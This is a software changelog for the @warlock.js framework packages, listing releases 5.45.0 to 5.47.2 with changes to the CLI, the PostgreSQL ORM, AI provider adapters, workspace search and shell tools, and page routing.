Skip to content

Change Log

Shipped releases across the @warlock.js/* packages — one shared version line, newest first.

Filter
5.47.2
November 6, 2026

Release notes that show newer releases, the queue in app CLI commands, a dev cache per project, and early warnings for imports the build rejects.

  • npx warlock release-notes adds a "Newer releases (not installed)" section from the docs site; --json reports installed and latest versions; --offline keeps the bundled-only output.
  • preload: { configuredConnectors: true } starts the app's configured connectors, such as the queue, for a CLI command.
  • warlock dev keeps a dependency cache per project root (webConnector({ cacheDir }) to choose), so checkouts sharing node_modules don't break each other.
  • warlock dev and warlock check (WL9027) warn about ?raw, ?url, ?worker and static-asset imports in server-compiled code.
Upgrade notes
  • node_modules/.vite/warlock-dev is no longer used and can be deleted.

Full release notes or run npx warlock release-notes.

@warlock.js/coreAdded 3Changed 1
  • Addednpx warlock release-notes includes the 5.47.2 notes: release notes that show newer releases, preload.configuredConnectors for CLI commands, a per-project dev dependency cache, and early warnings for imports the production build rejects.
  • Addedpreload.configuredConnectors for CLI commands: starts the early-phase connectors the app lists in warlock.config.ts > connectors (the queue, for example) without importing every module's main.ts, so an app's own command can dispatch queue jobs. It works with or without connectors; mainModules: true still implies it, and commands that set neither are unchanged.
  • Addedwarlock check reports WL9027 (a warning) when a file the production server bundle compiles, meaning any non-test source file under src/web and the project files they import, imports a static asset or a ?raw or ?url query, or a bare ?worker query (worded as "may fail"). warlock dev accepts these imports and warlock build fails on them; the message names the file, the import and the build error's advice (move the file to public/ and reference its root URL). Files only the browser build reads are not reported.
  • Changednpx warlock release-notes now checks https://warlock.js.org/release-notes.json for releases newer than the installed one. After the installed version's notes it prints a "Newer releases (not installed)" section with breaking changes first and the npx warlock update command; --from runs to the latest release unless --to caps it, --version can show a newer release and --list marks installed and newer versions. The check is fail-soft (5 second timeout, 2 MB cap, shape validated, HTTPS to warlock.js.org only): a failure prints the bundled notes plus one warning line and leaves the exit code unchanged. Pass --offline for the previous bundled-only behaviour. --json adds installedVersion, latestVersion, and per release installed and source.
@warlock.js/webAdded 2Changed 1
  • AddedwebConnector({ cacheDir }) sets the directory of Vite's dependency cache in warlock dev. A relative path is resolved against the app root.
  • Addedwarlock dev warns, once per file, when the server render evaluates a module that imports a static asset or a ?raw, ?url or ?worker query (such as some-pkg/dist/worker.mjs?worker&url). These imports work in development and fail warlock build, because pages are compiled into the server bundle; the warning gives the build error's advice; a bare ?worker query gets softer wording because the build does not reject it. warlock check reports the same imports as WL9027.
  • Changedwarlock dev keeps Vite's optimized dependencies in node_modules/.vite/warlock-dev-<hash>, where the hash comes from the resolved project root. Checkouts of one app that share a node_modules (git worktrees) no longer share one cache, so one dev server re-optimizing no longer makes the others answer 504 Outdated Optimize Dep. The directory is stable for a project across runs; folders left by moved or deleted checkouts can be removed by hand.
5.47.1
November 6, 2026

How to check whether a model field holds a value: isFilled() or == null, with get() and has() documented for null columns.

  • On PostgreSQL an unset column reads back as null; test for a value with model.isFilled(field) or == null, not === undefined.
  • model.has(field) checks that the key exists, so it is true for a null column; defaults in get(field, fallback) apply only to missing keys (use ?? fallback to cover null).
Upgrade notes
  • No runtime changes. If code checks optional columns with === undefined or has(), switch to isFilled() or == null.

Full release notes or run npx warlock release-notes.

@warlock.js/coreAdded 1
  • Addednpx warlock release-notes includes the 5.47.1 notes: how to check whether a model field holds a value (isFilled() or == null; has() is true for a null column; defaults apply only to missing keys).
@warlock.js/cascade
    5.47.0
    November 6, 2026

    Image tool results that stay images across session turns, workspace search that skips dependency folders, PostgreSQL date helpers in UTC, and SEO-style page route segments.

    • ai.session stores image tool results as parts, so later turns send images instead of paying for base64 as text; records saved by 5.45 and 5.46 are repaired on load.
    • Workspace glob and grep start at the pattern's folder, skip node_modules, .git and gitignored paths, honour the run's signal and stop at search.maxFiles; hooks.onShellOutput streams run_shell output live.
    • PostgreSQL connections run in UTC by default (timezone option), so groupByDate and whereDate* match how dates are stored.
    • Model saved / updated listeners receive the save's changes (changes, getLastSaveChanges()), model.isFilled(field) checks for null or missing values, and every pg pool option is forwarded.
    • Page routes accept /:type-for-:purpose, /near/:lat-:lng and /files/*rest, with the same matching on server and browser.
    • Model lifecycle tables, prompt-length pricing tiers and dated tariffs, with refreshed models and context windows across the provider adapters.
    • MCP http calls take a custom fetch for long calls and report stalls as timeouts; v.array(v.file()) accepts a single file; the test server loads app modules again.
    Upgrade notes
    • PostgreSQL sessions now start in UTC; set timezone in the connection options (or false) if raw SQL relied on the server's zone.
    • Workspace glob and grep skip node_modules, .git and gitignored paths by default; set search.skipDirs: [".git"] or search.gitignore: false to search them.
    • Under bash on Windows, unquoted backslash paths are refused with the forward-slash form.

    Full release notes or run npx warlock release-notes.

    @warlock.js/ai-workspaceAdded 4Changed 2Fixed 1
    • Addedpolicy.search: skipDirs (default [".git", "node_modules"]), gitignore (default true), maxFiles (default 50000; the search stops there and the result carries truncated: true and maxFilesReached: true) and concurrency (default 16). New type WorkspaceSearchPolicy.
    • Addedws.glob(pattern, { signal }), ws.grep(pattern, { signal }); the glob and grep tools pass the run's signal.
    • AddedOptional WorkspaceBackend.listTyped(absDir) returning { path, type } entries (type WorkspaceBackendDirEntry); the local backend implements it. Backends without it keep working through list plus stat.
    • Addedhooks.onShellOutput({ callId?, jobId?, command, stream, chunk }) streams run_shell output while the command runs, for foreground commands and background jobs (a job's events carry its jobId and continue after run_shell returns). Chunks are decoded, ordered per stream and delivered at most about 20 times a second; a throwing hook is ignored and the tool result (truncation, spilling) is unchanged. hooks.redactShellOutput(text) masks secrets: output is buffered to whole lines before it is redacted so a secret split across reads is found, and shell.env values of eight or more characters are masked automatically. ExecOptions.callId is echoed on a foreground command's events, WorkspaceBackendExecOptions.onOutput lets a backend stream (the local backend does; others deliver the whole capture at the end), and the new type WorkspaceShellOutputEvent is exported.
    • Changedglob and grep no longer search node_modules, .git or gitignored paths by default. Set search.skipDirs: [".git"] to search node_modules again and search.gitignore: false to search ignored files; a pattern that names a skipped folder in its static prefix (node_modules/pkg/*.json) still searches it.
    • ChangedUnder bash on Windows, a command line with an unquoted backslash before a letter, digit or dot inside a word (cd ab\terra4\client) is refused with reason: "unsupported-syntax" and a message showing the forward-slash form (ab/terra4/client), because bash reads the backslashes as escapes and runs a different path. Quoted paths and escaped spaces pass; bash on Linux and macOS is unchanged. run_shell's description states the forward-slash rule for bash on Windows. checkShellCommand takes an optional platform option.
    • Fixedglob and grep timed out on large workspaces because they listed every folder (including node_modules and .git) before matching, listed each entry a second time to tell files from folders, read all folders at once and ignored the run's signal. They now start at the pattern's static folder prefix (and at grep's glob folder), drop denyPaths, skipped and gitignored folders before listing them, read folders with their types in one call, read 16 folders at a time and stop when the signal aborts. The jail, denyPaths and symlink rules are unchanged (symlinked folders are never followed).
    @warlock.js/cascadeAdded 4Changed 1Fixed 1
    • AddedPostgreSQL pool config accepts options (the options startup parameter) and timezone. MongoDB date helpers were checked: they run in UTC by default and are unaffected.
    • Addedmodel.isFilled(field): true when the field exists and is neither null nor undefined. A column that was never set reads back as null on PostgreSQL (and is absent on MongoDB), so === undefined checks pass for it; has() is also true for a null column. isFilled() treats both the same way.
    • Addedsaved, created and updated listeners now receive the change diff in their context (changes: each changed column with its oldValue / newValue, changedColumns, plus isInsert, options and mode). Before, the dirty tracker had already reset when these events fired, so a listener could not tell which fields changed. The tracker still resets before the events, so a listener that saves again sees fresh state.
    • Addedmodel.getLastSaveChanges() returns the diff of the last successful save(), during the post-save events and afterwards. It is empty for an insert.
    • ChangedBehaviour change, PostgreSQL: every connection now starts with its session time zone pinned to UTC (sent as the options startup parameter, so pooled connections need no extra round trip). Before, the session followed the database server's zone, which shifted groupByDate buckets and whereDate / whereDateBetween results for rows near a day or month boundary whenever that zone was not UTC. Raw SQL such as now()::date also runs in UTC now. To choose another zone set timezone (e.g. clientOptions: { timezone: "Africa/Cairo" }); to keep the server's zone set timezone: false. An explicit -c TimeZone=… in options or in the connection string still wins.
    • FixedPostgreSQL pool config forwards every clientOptions key pg accepts (statement_timeout, query_timeout, lock_timeout, idle_in_transaction_session_timeout, keepAliveInitialDelayMillis, allowExitOnIdle, client_encoding, types, …) instead of dropping the ones it did not list. Only Cascade's own keys (naming, timezone, nativeArrayColumns, logging) are kept out; Cascade's pool defaults still apply.
    @warlock.js/coreAdded 1Fixed 5
    • Addednpx warlock release-notes includes the 5.47.0 notes: image tool results stored as parts, workspace search that skips dependency folders and a live shell output hook, PostgreSQL sessions in UTC, the save's changes in saved / updated listeners, mixed page-route segments, model lifecycle and tiered pricing tables, long MCP calls, single-file array uploads, and the test server loading app modules again.
    • FixedA single upload under an array field validates — v.array(v.file()) now accepts one file sent without [], and request.files(name) returns it as a one-element array. UploadedFile carries a registered brand so validators can recognise it.
    • FixedcreateTestHttpServer({ loadAppModules: true }) served an empty application: module discovery read the project files but never classified them, so no routes.ts or main.ts was imported and the router and main.ts registries stayed empty. Files are now classified after they are read.
    • FixedloadAppModules: true now throws, naming the project root and file counts, when the project has route or main.ts files on disk and none were loaded, instead of silently serving no routes.
    • FixedModules loaded for one project root are no longer reused when a worker moves to another root.
    • FixedThe boot manifest path (.warlock/manifest.json) is resolved from the current directory on each use, not once when the framework is imported, so a process that changes directory never reads or writes another project's manifest.
    @warlock.js/aiAdded 2Fixed 2
    • AddedModelPricing takes tiers (rates for requests whose prompt is longer than abovePromptTokens) and schedule (rates that take over from an ISO date). computeCost applies them, counting cache reads and writes in the prompt length; computeCost(usage, pricing, { at }) costs at a given date. New resolvePricing(pricing, { promptTokens, at }) returns the flat rates for one request, and the types PricingTier, PricingChange and PricingRates are exported.
    • AddedModelLifecycle and ModelLifecycleStatus (current, retiring, retired, with retiresOn and replacement) are the types of the provider packages' model lifecycle tables.
    • Fixedai.session stores a tool result that returned { content: ToolResultPart[] } as parts, so later turns send the image as an image. It was saved as JSON text, and every following request paid for the base64 as text tokens. Records saved that way by earlier versions are restored as parts when loaded. CapturedMessage.contentParts carries the parts beside the flat content string on AgentReport.messages.
    • FixedClient-side token estimates (contextEditing.clearToolResults.clearAtLeast and its trigger, compaction triggers) count each image, PDF or audio part as a fixed 1,000 tokens (MEDIA_PART_TOKENS, approximateJsonTokens) instead of by base64 length.
    @warlock.js/ai-deepseekAdded 2Changed 1
    • Addeddeepseek-flash is in DEEPSEEK_CHAT_MODELS and reports a 1,000,000-token capabilities.contextWindow, as do the deepseek-v4-* ids (previously 128,000).
    • AddedDEEPSEEK_MODEL_LIFECYCLE and deepseekLifecycleFor(name) give each model a status; DEEPSEEK_DEFAULT_PRICING_AS_OF dates the price table.
    • ChangedDEEPSEEK_CHAT_MODELS no longer lists deepseek-chat and deepseek-reasoner (retired 2026-07-24) or deepseek-v4-flash; they are retired in DEEPSEEK_MODEL_LIFECYCLE, and deepseek.model({ name }) still accepts them.
    @warlock.js/ai-googleAdded 3
    • AddedGOOGLE_MODEL_PRICING lists gemini-4-argon, gemini-3.8-flash, gemini-3.6-flash and gemini-3.1-pro-preview besides gemini-3.5-flash-lite. Scheduled prices are in schedule (gemini-4-argon doubles on 2026-12-01, the 3.6 and 3.8 Flash models on 2027-01-01) and gemini-3.1-pro-preview carries tiers for prompts above 200k tokens. GOOGLE_MODEL_PRICING_AS_OF dates the table.
    • AddedGOOGLE_MODEL_LIFECYCLE and googleLifecycleFor(name) give each model a status: gemini-2.5-pro and gemini-2.5-flash are retiring on 2026-12-01, gemini-3.1-flash-lite on 2027-05-07, and gemini-3.5-flash and the 2.0 Flash models are retired.
    • Addedgemini-4-argon reports a 1,048,576-token capabilities.contextWindow.
    @warlock.js/ai-groqAdded 2Changed 1
    • Addedqwen/qwen3.8-27b is in GROQ_KNOWN_MODELS.
    • AddedGROQ_MODEL_LIFECYCLE and groqLifecycleFor(name) give each model a status; GROQ_DEFAULT_PRICING_AS_OF dates the price table.
    • ChangedGROQ_KNOWN_MODELS no longer lists llama-3.3-70b-versatile, llama-3.1-8b-instant (shut down 2026-08-16) and deepseek-r1-distill-llama-70b (shut down 2025-10-02). They are retired in GROQ_MODEL_LIFECYCLE, and groq.model({ name }) still accepts them.
    @warlock.js/ai-openaiAdded 2Fixed 1
    • AddedOPENAI_MODEL_PRICING lists gpt-6.1-terra, gpt-6-cyber, gpt-6-astra, gpt-6-luna, gpt-5.6-terra, gpt-5.6-luna, gpt-5.5 and gpt-5.4; the models billed by prompt length carry tiers for prompts above 272K tokens. OPENAI_MODEL_PRICING_AS_OF dates the table.
    • AddedOPENAI_MODEL_LIFECYCLE and openAILifecycleFor(name) give each priced model a status: o1, o3-mini, o4-mini and gpt-4.1-nano are retired, gpt-5, gpt-5-mini, gpt-5-nano and o3 are retiring on 2026-12-11, gpt-5.1 and gpt-5.4-nano on 2027-04-01, gpt-4.1 and gpt-4.1-mini on 2027-01-14.
    • Fixedgpt-6 models report a 1,050,000-token capabilities.contextWindow instead of 400,000.
    @warlock.js/ai-xaiAdded 3
    • AddedXAI_MODEL_PRICING and xaiPricingFor(name) price grok-4.7, grok-4.6, grok-4.5, grok-4.3, grok-4.20-0309-reasoning, grok-4.20-0309-non-reasoning, grok-4.20-multi-agent-0309 and grok-build-0.1, with tiers for prompts of 200k tokens or more. xai.model() uses them when no pricing is passed.
    • AddedXAI_MODEL_LIFECYCLE and xaiLifecycleFor(name) give those models a status; XAI_MODEL_PRICING_AS_OF dates the price table.
    • Addedcapabilities.contextWindow is reported for grok-4.3 and grok-4.20-* (1,000,000), grok-4.5 to grok-4.7 (500,000) and grok-build-0.1 (256,000). XAI_CHAT_MODELS lists the new ids.
    @warlock.js/ai-anthropicAdded 2
    • AddedANTHROPIC_MODEL_PRICING prices claude-haiku-5-5, with tiers for prompts above 100,000 tokens (cache reads and writes counted). ANTHROPIC_MODEL_PRICING_AS_OF dates the table.
    • AddedANTHROPIC_MODEL_LIFECYCLE and anthropicLifecycleFor(name) (alias or dated snapshot) give each model a status, for example claude-sonnet-4-5 is retiring on 2026-11-30 and claude-opus-4-1 is retired.
    @warlock.js/ai-mistralAdded 2
    • AddedMISTRAL_MODEL_LIFECYCLE and mistralLifecycleFor(name) give the ids Mistral documents a status: zai-glm-5-2 is retired, mistral-medium-3-5 and mistral-large-2512 are retiring on 2027-04-30.
    • Addedzai-glm-5-3 reports a 1,000,000-token capabilities.contextWindow.
    @warlock.js/ai-toolsAdded 1Fixed 1
    • Addedai.mcp({ type: "http", url, fetch }) takes an injectable fetch, used for every request. Node's built-in fetch drops a request whose response headers take over 300 seconds regardless of timeoutMs; pass a fetch backed by a dispatcher with longer headersTimeout / bodyTimeout for longer MCP tool calls.
    • FixedAn MCP http call that the HTTP client abandons because headers or body stalled (UND_ERR_HEADERS_TIMEOUT, UND_ERR_BODY_TIMEOUT, UND_ERR_CONNECT_TIMEOUT) is now reported as McpTransportError with type: "timeout" and the real cause code in the message, instead of a generic "connect" "fetch failed".
    @warlock.js/sealFixed 1
    • Fixedv.array() accepts one uploaded file — a lone uploaded file (a multipart part sent without []) is wrapped into a one-element array before validation, and the validated output carries the array. Strings and other scalars are not wrapped and still fail the array rule.
    @warlock.js/webAdded 1
    • AddedPage routes accept several params and static text in one segment, such as /:type-for-:purpose or /near/:lat-:lng, and a named terminal wildcard such as /files/*rest. The generated page typings and href() name every param (href("listing", { type: "house", purpose: "sale" })), encode each value on its own and keep the static text. A named wildcard's value is under its name and under params["*"]. A segment splits greedily like the server's router (a-for-b-for-c against :x-for-:y gives x = "a-for-b"), and the server, the browser matcher and the fallback matcher choose the same route: static, then mixed, then plain :param, then catch-all. Existing page routes, API route typings, href() and apiHref() are unchanged; file names have no form for these shapes, so declare them with config.route.path. /:a:b (two params with no text between) and a repeated param name in these shapes are rejected at boot. So are two pages whose mixed segments tie on leading, trailing and total static text at the same position with the same segment count (such as /:a-for-:b and /:x-for-:y): the server's router would choose between them by registration order, so the error names both pages and asks for more static text in one of them.
    5.46.0
    November 6, 2026

    Notifications keyed by recipient type, PostgreSQL array and JSON column fixes, seeding that works after migrate --fresh, and clearer build and dev-server errors.

    • Declare columnMap.recipientType and in-app notification reads filter by recipient type and id, so identities that share an id never see each other's notifications; new scaffolds declare it.
    • PostgreSQL saves number arrays to native array columns and JSON-encodes scalars in json / jsonb columns, and orderBy works on select aliases.
    • Model.exists(filter) and whereNot(field, value) / whereNot(field, op, value) on both drivers.
    • migrate --fresh clears the seed log, and warlock seed loads module main.ts files with the app's configured connectors.
    • tsconfig paths aliases resolve in Vite, one unsupported route no longer stops typings for every page, and warlock dev writes .warlock/dev.pid.
    • The test server boots with a cloud storage default, responseSchema takes [{ ...shape }], and a fresh scaffold with the test feature installs with npm again.
    Upgrade notes
    • Several identity types receiving in-app notifications: add a nullable recipient_type column, backfill it, then declare recipientType in the notification model's columnMap.
    • warlock migrate --fresh now clears the seed log, so the next warlock seed runs every seeder again.
    • Apps scaffolded before 5.46.0 that share one R2 bucket: set R2_PREFIX per app.

    Full release notes or run npx warlock release-notes.

    @warlock.js/coreAdded 6Changed 1Fixed 6
    • Addednpx warlock release-notes includes the 5.46.0 notes: secure notification recipient types, PostgreSQL array and JSON column fixes, Model.exists and whereNot(field, value), migrate --fresh clearing the seed log, warlock seed loading module main.ts files, tsconfig path aliases in Vite, the warlock dev PID file, and stale-typings detection.
    • AddedCLICommandPreload.mainModules: opt a command into importing every module's main.ts (no routes, events or locales) after its declared connectors and the app's configured early-phase connectors start. Off by default so other commands stay fast.
    • AddedThe WL9022 message (a server-only file importing a .client module) now says that a value shared by browser and server code belongs in the module's web/ folder.
    • Addedwarlock typecheck and warlock check report one WL7103 warning, ahead of the errors, when the compiler finds errors and the generated typings in .warlock/typings are missing or older than the files in src. Run warlock generate.typings and typecheck again before fixing them. The warning does not change the exit code.
    • Addedwarlock dev writes .warlock/dev.pid with the PID of the process that actually serves, and removes it on exit. Stop the dev server with kill "$(cat .warlock/dev.pid)".
    • AddedresponseSchema accepts an array of plain objects as a one-element tuple: items: [{ id: "int", label: "string" }]. The element may be an object shape, a cast or a resource; "object[]" stays the cast for an untyped array of objects. Types and generated typings follow the element shape.
    • ChangedThe generated notifications scaffold declares recipientType: "recipient_type" in the notification model's columnMap, adds the column to its schema and migration, and passes idType: "integer" to match the scaffolded auth models, so identities that share an id never read each other's notifications. The generated controller spec fixture writes the recipient type on the rows it creates.
    • Fixedwarlock add test pins @vitest/coverage-v8 to the same exact version as vitest (5.0.5), instead of a caret range that resolved to 5.1.0 beside the starter's vitest 5.0.5. npm 10.9 and 11 crashed while installing a freshly scaffolded app with the test feature. A spec now fails when a feature adds a package that peers on a starter dependency at a version other than the starter's pin.
    • Fixedwarlock add web pins @mongez/react-localization to 3.5.1, the version its exact peer on @mongez/localization requires, so the starter's localization pin cannot split from it when a newer patch ships.
    • Fixedwarlock migrate --fresh now empties the seed log (_seeds and _seed_records) after rebuilding the schema. Before, the next warlock seed saw every once seeder as already executed and silently did nothing against an empty database. A warlock seed run that skips every seeder now prints a warning.
    • Fixedwarlock seed imports every module's main.ts after its connectors start, together with the early-phase connectors listed in warlock.config.ts > connectors (the queue, for example), so registries filled in main.ts are populated while seeding and a seed can import a main.ts that uses the queue.
    • FixedThe test server no longer fails at boot with "Cloud storage requires the AWS S3 SDK packages" when the default storage driver is a cloud driver and the storage fake is on. In the test environment the storage connector builds the configured default on first use instead of at boot; with the fake on, every driver is a local one.
    • FixedThe dev server and the test server find the app's modules when the project path contains glob characters such as [, ( or {. File discovery now globs relative to the directory instead of prefixing the pattern with the absolute path.
    @warlock.js/cascadeAdded 2Fixed 3
    • AddedModel.exists(filter?) returns whether any record matches the filter (or whether the table has any record when no filter is given). It is the static shorthand for where(filter).exists().
    • AddedwhereNot and orWhereNot accept every shape where does, on both drivers: whereNot("status", "archived"), whereNot("age", "<", 18), whereNot({ status: "banned" }), besides the existing callback form.
    • FixedPostgreSQL: a number array written to an INTEGER[] (or any native array) column is now bound as an array. Before, any all-number array was turned into a vector literal first, so Postgres rejected the insert with a malformed array literal.
    • FixedPostgreSQL: a string, number or boolean written to a json / jsonb column is now JSON-encoded, so saving the string "hello" no longer fails with "invalid input syntax for type json". The driver learns which columns are json / jsonb from the same schema lookup it already runs on connect.
    • FixedPostgreSQL: orderBy on a select alias, such as the total of count(*) AS total, now orders by that output name instead of failing with "column does not exist".
    @warlock.js/webAdded 2Changed 3
    • AddedThe paths in an app's tsconfig.json (such as @shared/*) are mirrored into Vite for warlock dev and the production client build, so an alias that typechecks also resolves. Aliases passed to the Web connector and the built-in web/* and app/* aliases still win.
    • AddedDiscovery warns, once per process, about a layout.tsx outside the routed page tree (no page beside or below it) and says to rename it if it is an ordinary component.
    • Changedwarlock generate.typings no longer stops when one page declares an unsupported route path: it prints the page and the rejected path, leaves that page out, and generates typings for the rest. The build still fails on such a page.
    • ChangedThe module-boundary error now names the module's web/ folder as the place for a constant shared by browser and server setup code.
    • ChangedProjectionAmbiguityError for a computed top-level initializer now suggests a literal value or a *.client.ts file (the message already carries the file and line).
    @warlock.js/notificationsAdded 4
    • AddedcolumnMap.recipientType: stores the recipient's identity type next to its id. The database channel writes it from the recipient model (an auth model's userType, otherwise the table name), and notificationColumns() emits the column.
    • AddedinApp read, count, mark-read, mark-unread, find and dismiss methods (and the matching repository methods) accept { type, id } (RecipientRef) as well as a model or bare id, and filter by type and id when the column is declared.
    • AddedRecipientTypeRequiredError, recipientTypeOf(), RecipientRef, RecipientInput.
    • AddednotificationColumns(…, { recipientModel }) derives the id column type from the recipient model (integer, or uuid when it sets autoGenerateId = false). Without it the default stays UUID.
    create-warlockChanged 1Fixed 2
    • ChangedThe starter's src/config/storage.ts reads the storage driver from STORAGE_DRIVER (default local) and the R2 key prefix from R2_PREFIX, which defaults to the app's name (APP_NAME). The driver and prefix were fixed to local and warlock.js, so every scaffolded app sharing one R2 bucket wrote to the same prefix. .env.example documents both keys. Projects scaffolded before this release keep their hard-coded prefix until they set R2_PREFIX=warlock.js.
    • FixedA fresh scaffold with the Testing feature no longer crashes npm install. The starter pins vitest 5.0.5, and the feature added @vitest/coverage-v8 as a caret range that resolved to 5.1.0. The starter and the feature now pin the same exact version.
    • FixedThe starter pins @mongez/localization at 3.5.1 (was ^3.5.1), the version the Web feature's @mongez/react-localization requires as an exact peer.
    @warlock.js/sealChanged 1
    • ChangedrequiredWith, requiredWithout and the rest of the unsuffixed required* rules now say, in their JSDoc and in the docs, that the other field is looked up from the root of the validated data. Inside a nested object such as address: { en, ar }, use the Sibling variant (requiredWithoutSibling("ar")). Behaviour is unchanged.
    5.45.0
    November 5, 2026

    Images in tool results, metered compaction summaries, a context window for every known model, and a safer workspace on Windows PowerShell 5.1.

    • A tool can return { content: [...] } with text and image parts; Anthropic, Bedrock and OpenAI's Responses API show the images to the model, other providers get a placeholder (capabilities.toolResultImages), and MCP image results are forwarded.
    • ai.compaction.summarize({ middleware }) meters every summary call (retries included) with middleware such as budget(), budget(...).wrapModel(model) meters direct model calls, and lengthRetry turns off or tunes the summary's length retry.
    • clearToolResults.clearAtLeast skips clears that free too few tokens (Anthropic clear_at_least).
    • Every provider adapter reports contextWindow for its known chat models, Ollama reads it from the server, and modelContextWindow(model) returns it.
    • The workspace detects Windows PowerShell 5.1 and refuses && / || there with an explanation, onAsk can remember several patterns and pass a refusal reason to the model, and spilled results list their files in spilledTo.
    • supervisor({ pidWaitMs, setupTimeoutMs }) waits for a real process ID on Windows terminals and fails with ProcessStartupError instead of supervising pid 0.
    Upgrade notes
    • On Windows with Windows PowerShell 5.1 and Git Bash but no pwsh, the workspace's interpreter: "auto" now picks Git Bash; pass interpreter: "powershell" to keep PowerShell.
    • The process supervisor's setup gate waits 30 s on Windows and macOS (5 s on Linux); set setupTimeoutMs to choose.

    Full release notes or run npx warlock release-notes.

    @warlock.js/aiAdded 8
    • Addedai.compaction.summarize({ middleware }) runs middleware around every call the summarizer makes (first attempt, length retry, shrink retries, heading follow-up), so a budget can hold summary calls to a spend cap; a refusal fails the summary like any summarizer error. Also takes signal.
    • Addedai.middleware.budget(...).wrapModel(model) returns a model whose complete() calls are metered by that budget. budget() now returns BudgetMiddleware, and wrapModelWithMiddleware(model, middleware) is the general form.
    • Addedai.compaction.summarize({ lengthRetry }): false turns off the retry after a reply cut by the output cap, { shrink } sets the share of input kept on the retry (default 0.7).
    • AddedcontextEditing.clearToolResults.clearAtLeast: a client-side clear is skipped when it would free fewer tokens than this; sent to native-editing models as ModelCallOptions.contextEditing.clearToolResults.clearAtLeast.
    • AddedA tool's execute can return { content: ToolResultPart[] } (text and image parts; ToolResultPart, ToolResultContent) so the model sees images, such as a screenshot. The agent carries the parts on the tool message instead of stringifying them. A return value is read as parts only when its sole key is content and every element is a valid part (isToolResultContent); every other value keeps its JSON serialisation.
    • AddedModelCapabilities.toolResultImages says whether an adapter shows tool-result images to the model. Adapters that cannot send the text [image omitted: provider cannot read images in tool results] (TOOL_RESULT_IMAGE_PLACEHOLDER, toolResultText(content)) in place of each image.
    • AddedcontextEditing.clearToolResults replaces an old image result with the cleared-result placeholder.
    • Addedai.modelContextWindow(model) (modelContextWindow) returns the context window a model reports through capabilities.contextWindow, or undefined when it reports none or an invalid value. Window-relative compaction and context-editing triggers read the window through it.
    @warlock.js/processAdded 3Changed 2Fixed 1
    • AddedpidWaitMs supervisor option: how long a terminal may take to report a real process ID after spawnPty(). Defaults to 10 s. ConPTY reports pid 0 for a moment after spawn on Windows; the supervisor now waits for the real pid instead of supervising pid 0.
    • AddedsetupTimeoutMs supervisor option: how long a launched child has to reach its resource setup gate. Defaults to 5 s on Linux and 30 s on Windows and macOS. Explicit values win.
    • AddedProcessStartupError, thrown when a launch cannot be supervised. Its reason is no-pid (no real pid arrived within pidWaitMs), exited (the child exited before its gate) or setup-timeout (the gate was not reached within setupTimeoutMs).
    • ChangedThe setup gate deadline is 30 s on Windows and macOS (it was 5 s on every platform). Linux keeps 5 s.
    • ChangedA launch that fails at its setup gate now rejects with ProcessStartupError; the message is unchanged.
    • FixedA terminal that reported pid 0 right after spawnPty() could be supervised under pid 0. The launch now waits for a real pid, and a terminal that never reports one is stopped on a best-effort basis and rejected with ProcessStartupError.
    @warlock.js/ai-workspaceAdded 4Changed 1
    • AddedresolveShell() reports which PowerShell it found: ResolvedShell gains edition ("desktop" for Windows PowerShell 5.1, "core" for PowerShell 7+; exported type PowerShellEdition) and version ("5.1" for Windows PowerShell; for pwsh when ShellHost.powershellVersion is supplied). Windows PowerShell 5.1 gets the label Windows PowerShell 5.1 (powershell) and its own "powershell5" dialect, whose parser refuses && and || with "Windows PowerShell 5.1 cannot run &&; use ; or run each command in its own call instead.". run_shell's description for that dialect no longer promises chaining.
    • AddedonAsk decisions: remember accepts one pattern or an array, so a line that asks about several commands can approve them all. workspace.shell.remembered() lists the remembered patterns and workspace.shell.forget(pattern) removes one. A configured deny still beats them.
    • AddedonAsk decisions: reason?: string is appended to the run_shell refusal the model reads, cut at 500 characters with a [truncated] marker.
    • AddedA flat spilledTo?: string[] on every run_shell, shell_output, read_file, grep and glob result that spilled output to disk, and a spilled head-and-tail text now ends with a [full output saved to …] line. The use-a-workspace skill documents each tool's result shape.
    • ChangedOn Windows, interpreter: "auto" now picks pwsh (PowerShell 7+), then Git Bash, then Windows PowerShell 5.1, then cmd.exe, so a machine with Git for Windows and only PowerShell 5.1 runs && lines under bash instead of failing in PowerShell.
    @warlock.js/ai-anthropicAdded 3
    • AddedThe agent-level contextEditing.clearToolResults.clearAtLeast is mapped to clear_at_least on the native clear_tool_uses edit, next to the resolved trigger, keep and exclude_tools.
    • AddedImage parts in a tool result are sent as image blocks inside the tool_result; the model reports capabilities.toolResultImages: true.
    • Addedcapabilities.contextWindow is reported for every known Claude release: 1M for Opus 4.6 to 5.5, Sonnet 4.6 to 5.5, Haiku 5.5, Fable and Mythos, and 200K for Opus 4 to 4.5, Sonnet 4 to 4.5, Haiku 4.5 and the Claude 3 line. contextWindow in the model config still wins.
    @warlock.js/ai-bedrockAdded 2
    • AddedImage parts in a tool result are sent as Converse image blocks inside the toolResult; the model reports capabilities.toolResultImages: true.
    • Addedbedrock.model({ name, contextWindow }) and capabilities.contextWindow, inferred from the model id for Claude, Nova, Llama, Mistral, Command R and Jamba models (region prefixes and version suffixes are fine). The config value wins; unlisted ids stay unset.
    @warlock.js/ai-googleAdded 2
    • AddedImage parts in a tool result are replaced by the text [image omitted: provider cannot read images in tool results]; capabilities.toolResultImages is false.
    • Addedcapabilities.contextWindow is reported for Gemini 3.x (1,048,576) and Gemini 1.5 Pro (2,097,152), besides the families already covered.
    @warlock.js/ai-ollamaAdded 2
    • AddedImage parts in a tool result are replaced by the text [image omitted: provider cannot read images in tool results]; capabilities.toolResultImages is false.
    • AddedcontextWindow option on ollama.model sets capabilities.contextWindow. Without it the adapter asks /api/show on the first call (a num_ctx model parameter wins over the architecture context_length), so the window is known from the second call on. Model creation stays synchronous, the call never waits for the lookup, a failed lookup leaves the window unset, and the config value always wins.
    @warlock.js/ai-openaiAdded 2
    • AddedWith api: "responses" on the OpenAI provider, image parts in a tool result are sent as input_image items in the function_call_output (capabilities.toolResultImages: true). Chat Completions and the OpenAI-compatible providers send the text [image omitted: provider cannot read images in tool results] and report false.
    • Addedcapabilities.contextWindow is reported for more direct-OpenAI ids: gpt-5.x and gpt-6 (400K, the documented gpt-5 figure; set contextWindow for a larger window), gpt-4, gpt-4-turbo, gpt-3.5-turbo, chatgpt-4o, o3-mini, o3-pro and o1-pro.
    @warlock.js/ai-cliAdded 1
    • Addedcapabilities.toolResultImages is false; tool-result images reach CLI agents as text only.
    @warlock.js/ai-deepseekAdded 1
    • Addedcapabilities.contextWindow is reported for deepseek-chat, deepseek-reasoner and deepseek-v4-* (128,000; a conservative figure for V4). New contextWindow option on deepseek.model.
    @warlock.js/ai-groqAdded 1
